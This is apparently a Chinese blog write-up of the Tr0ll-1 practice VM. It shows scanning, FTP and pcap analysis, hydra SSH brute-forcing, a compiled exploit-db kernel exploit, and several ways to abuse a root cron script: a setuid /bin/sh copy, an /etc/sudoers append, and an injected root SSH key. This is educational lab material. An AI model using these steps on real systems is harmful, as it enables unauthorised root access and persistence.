4-Tr0ll-1百个靶机渗透(精写-思路为主)


前言

思路清晰:

1.信息收集,寻找内网靶机,得到可以利用的ftp、ssh和web站点的常规端口。

2.因为这个靶机不是很难,所以就提权,五种不同的提权方式。


一、信息收集

扫描靶机

nmap -p- 192.168.198.0/24

有80端口,访问下

其实我们都知道20和21端口都是ftp的端口

那么我们就用nmap扫一下看看是不是

ssh版本

ftp可以匿名登陆

 wireshark的包我们解析一下

先登录

 看下ftp里面有什么文件

下载下来

解析一下这个包

wireshark lol.pcap

 

 

我们得到一个文件名

secret_stuff.txt

注意观察追踪流的语句

这个包不知道有多少个流,我们一个一个看把

只有四个流

我们一个一个看

第二个流传输的是这个文件

第三个有一串密文,还不知道留着

他说我们快接近目标了

那我们看看第四个流

还是传这个文件

那只有研究下那个密文了

研究了半天发现不是密文,是个目录。。。。

我们访问下

 

 

这个文件不知道用什么东西打开

我们看看这个文件是什么进制编写的

枚举是32位的ELF 二进制文件

看下文件里面有没有隐藏信息

并没有什么可用的信息

 

strings roflmao 

发现Find address 0x0856BF to proceed

hexeditor roflmao ---十六进制的也可以用这个发现!

网页访问

 

这个是password那肯定就是密码了,那前面那个大概率是账号

那就爆破试下

爆破了半天没结果

最后发现Pass.txt才是密码。。。

hydra -L user.txt -p Pass.txt 192.168.198.137 ssh

ssh进去

ssh overflow@192.168.198.137

二、提权

1.提权方法1

ssh登录获取bash shell


python -c 'import pty;pty.spawn("/bin/bash")'

内核版本

复制过来

开启网页下载

┌──(root㉿kali)-[~]

└─# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

┌──(root㉿kali)-[~]

└─# python -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

回到靶机ssh,发现断开了,判断应该是设置了定时任务什么的,不太清楚,只能先提权看看了

重新ssh登录

gcc 37292.c -o muma1

./muma1

又断开了,好恶心。

这个常规方法会被cronb定时执行影响,所以我们要尝试更多可能

2.提权方法2

我们查看cronb日志

find / -name cronlog 2>/dev/null ---查看计划任务日志信息

每间隔2分钟执行一次任务

我倒要看看他执行的是什么文件

find / -name cleaner.py 2>/dev/null ---查看文件在哪儿

清除/tmp下的所有文件,并且推出程序

好家伙每两分钟清除/tmp下的所有文件,并且退出当前tty,

那么肯定比我权限都高,我们就用这个执行脚本获取shell

vim写入不了

我们只能用vi或nano写入

find / -perm -o+w -type f 2> /dev/null | grep /proc -v ---枚举所有可写入和执行权限的文件

find / -writable 2>/dev/null ---枚举所有可写入权限的文件

先注释掉这句

这样我们就不会掉了

我们慢慢写

这里要写入要给python远控的脚本

脚本不能直接展示,因为一些大家dddd,可以私信我们的要

此处省略远控代码注入

拿到shell了!

3.提权方法3

我们ssh上去

python -c 'import pty; pty.spawn("/bin/bash")'

创建root可执行程序,获得root权限

nano /lib/log/cleaner.py

#!/usr/bin/python
import os
import sys
try:
    os.system('cp /bin/sh /tmp/ou')
    os.system('chmod u+s /tmp/ou')
except:
    sys.exit()

断开后重新ssh上去看看

获得bash shell

4.提权方法4

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:

nano /lib/log/cleaner.py

#!/usr/bin/python
import os
import sys
try:
    os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')
except:
    sys.exit()

sudo su - root 得到root权限

5.root免密登录的方法

在kali本地root的~/.ssh下写入key

cd ~/.ssh

cat id_rsa.pub

没有生成一个

ssh-keygen

空密码

把rsa的key内容写入进靶机的/root/.ssh/里面

cat id_rsa.pub

登入靶机

注意执行这个shell需要

python -c 'import pty; pty.spawn("/bin/bash")'

nano /lib/log/cleaner.py

#!/usr/bin/python import os import sys try: os.system(mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD6jUb2+l9/eqOPZ9fbqx5Q3GMjLeHkxPTzomODJA02yDOzxINVxTVfGey7oae+6CqTJZLobypXXD3sTm3oBUKxZxT7dfKZ09ds1F2GK6MdXXWqLI0FqpBCtbYxO9UNIOD9a26OreHHt5t6/wM4oxf95UqNQDJ1/xAlcXPkpOIUCzBKrRnt59TmJycVAGhyZnyBT6ybgacaQDUoS6ifUzRr5xXTCvDDnSQ0Vu0FepRXf1rB9L7f3gCz7HWEU3AkGVnOEoCwtddaHFPF3r6cO7KzWqwG0aDO4sxdbR0WfLqAoUrI6Vkob0IRkz0ZBkmA7K/Ew2s8E5xH53kRV2fPDa3x1S9/z+nPZDma1yYu4UjoWsIXz5+iYU0dYS8UcolEXFwH4f2zIbvQy1JnTc6NnJ/TDsdUMXmtye5VS36reczIvbbRCTz0k+ZiJAooh2Z53sS4BZQ4Sk3XMokwlDy61JFoDdqflXs3koi+bX05aT+Sc9Pdh2sbNK7WOTqQJyOmceU= root@kali" >> /root/.ssh/authorized_keys) except: sys.exit()

等他计划任务执行

断开了证明执行了

等ssh起来


总结

这里展示了五种提权方法,基本覆盖了常用的内网各种姿势,希望大家学有所成,请不要用于其他渠道。

特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽小丑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值